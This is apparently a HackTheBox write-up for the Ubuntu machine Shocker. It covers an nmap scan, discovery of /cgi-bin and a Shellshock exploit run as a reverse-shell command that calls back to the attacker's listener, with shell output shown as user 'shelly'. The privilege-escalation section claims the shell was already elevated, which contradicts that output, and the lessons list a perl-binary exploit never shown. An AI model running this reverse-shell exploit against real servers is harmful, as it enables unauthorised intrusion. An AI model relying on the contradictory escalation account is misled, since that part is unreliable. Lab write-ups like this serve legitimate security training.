Shocker

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Shocker (Ubuntu, attack surface: Apache httpd 2.4.18 ((Ubuntu)) (80), OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) (2222)). Foothold via the vulnerable entry point; direct root access from the foothold. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sVC 10.10.10.56 --min-rate 1000

Enumeration highlights

• Detected OS: Ubuntu.
• Open services: http (80), ssh (2222).
• Scan used: nmap -p- -sVC 10.10.10.56 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.10.56 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-29 06:17 PDT
Nmap scan report for shocker.htb (10.10.10.56)
Host is up (0.034s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4f8ade8f80477decf150d630a187e49 (RSA)
|   256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_  256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.02 seconds

1. Based from the nmap result, we know the machine runs a web application and ssh service.

2. Since there's no interesting info currently, i ran dirbuster and found a directory named cgi-bin.

3. Which is interesing, it's forbidden. Judging from the challenge title and the directory we found.

4. This challenge could be related to shellshock exploit --> Apache mod CGI.

5. This should be the one --> https://www.exploit-db.com/exploits/34900 (since the web service is apache).

6. Let's use the python script from the documentation.

 bash read-only • copy allowed Copy
python2 reverse_shell.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.26 lport=443 pages=/cgi-bin/user.sh

┌──(D3v0o0Nu11㉿htb)-[~/Downloads/machine/machine_shocker]
└─$ python2 reverse_shell.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.26 lport=443 pages=/cgi-bin/user.sh
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/user.sh
[!] Successfully exploited
[!] Incoming connection from 10.10.10.56
10.10.10.56> whoami
shelly

10.10.10.56> 

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Directory listing using dirbuster (found cgi-bin directory which is the interest here).
2. Conduct shellshock attack.
3. Exploiting perl binary.